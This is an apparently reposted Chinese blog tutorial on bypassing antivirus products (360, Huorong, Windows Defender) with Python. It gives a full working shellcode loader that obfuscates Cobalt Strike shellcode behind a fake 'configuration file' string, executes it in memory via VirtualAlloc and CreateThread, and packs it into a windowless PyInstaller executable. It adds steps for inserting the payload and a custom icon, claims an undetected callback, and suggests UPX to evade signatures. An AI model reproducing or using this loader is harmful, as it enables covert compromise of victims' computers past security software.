经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 程序设计 » Python » 查看文章
python一键过杀软
来源:cnblogs  作者:mt0u  时间:2023/9/13 15:41:58  对本文有异议

python过杀软新

利用python加载shellcode过360、火绒等杀软

先上代码

将以下代码保存到 mt.py

  1. import base64
  2. import os
  3. import shutil
  4. buf = b"这里替换shellcode"
  5. b64buf = base64.b64encode(buf)
  6. lzsds = """
  7. import ctypes
  8. import base64
  9. shellcode= base64.b64decode(\""""+b64buf.decode()+"""\")
  10. shellcode= bytearray(shellcode)
  11. ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64
  12. ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
  13. buf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)
  14. ctypes.windll.kernel32.RtlMoveMemory(
  15. ctypes.c_uint64(ptr),
  16. buf,
  17. ctypes.c_int(len(shellcode))
  18. )
  19. handle= ctypes.windll.kernel32.CreateThread(
  20. ctypes.c_int(0),
  21. ctypes.c_int(0),
  22. ctypes.c_uint64(ptr),
  23. ctypes.c_int(0),
  24. ctypes.c_int(0),
  25. ctypes.pointer(ctypes.c_int(0))
  26. )
  27. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
  28. """
  29. def arraydecode(rr):
  30. list_char = "This is a configuration file please do not delete,=configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967=)"
  31. # 数组加密
  32. index_b = []
  33. for i in str(rr):
  34. index_a = list_char.index(str(i))
  35. index_b.append(index_a)
  36. return index_b
  37. ba64lzsds = base64.b64encode(lzsds.encode("utf-8")).decode()
  38. sdata = arraydecode(ba64lzsds)
  39. #打包
  40. with open("note.py",'w',encoding="utf-8") as f:
  41. f.write("""import base64
  42. import ctypes
  43. import os
  44. """+"\n")
  45. f.write("data = "+str(sdata)+"\n")
  46. f.write("""def j(index_b):
  47. list_char = "This is a configuration file please do not delete,=configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967=)"
  48. index_c = ""
  49. for i in index_b:
  50. index_c += list_char[i]
  51. return index_c
  52. data_j = j(data)
  53. code = base64.b64decode(data_j).decode('utf-8')
  54. exec(code)
  55. """)
  56. import PyInstaller.__main__
  57. try:
  58. # 获取要打包的脚本路径
  59. script_file = "note.py"
  60. # 获取 PyInstaller 路径
  61. pyinstaller_path = os.path.dirname(PyInstaller.__main__.__file__)
  62. # 设置打包选项
  63. build_args = [
  64. "-F", # 生成一个单独的可执行文件
  65. "-w", # 不显示命令行窗口
  66. "-i=1.ico", # ico
  67. script_file # 添加要打包的脚本路径
  68. ]
  69. # 执行打包命令
  70. PyInstaller.__main__.run(build_args)
  71. except:
  72. print("exe在dist文件夹内")
  73. shutil.rmtree("build")
  74. shutil.rmtree("__pycache__")
  75. os.remove("note.spec")
  76. os.remove("note.py")

如何使用

1、使用cs生成python的payload替换掉mt.py代码中shellcode

image-20230911163933171

image-20230911164014040

image-20230911164103365

2、准备一个ico图标,放在和mt.py同一目录命名为1.ico,这点可以自行修改。

image-20230817095216216

一键生成

替换掉代码里的shellcode之后,直接运行

  1. python 文件名.py

image-20230817095421820

exe会生成在在当前目录的dist目录下

image-20230911164506162

动态上线-成功

复制到我的另一台电脑,开启360核晶和windwos defender

复制过去,无检测拦截

image-20230911164943954

双击运行,360无拦截成功上线,火绒也能过

image-20230911165044118

image-20230911165205241

主动查杀-成功

image-20230911165353954

有时候会检测到存在python的特征会报毒,但是运行不影响上线,可以使用upx进行压缩,去除python的特征

upx下载地址 https://github.com/upx/upx

  1. 压缩命令
  2. upx -d note.exe

image-20230911165715103

原文链接:https://www.cnblogs.com/mt0u/p/17693992.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号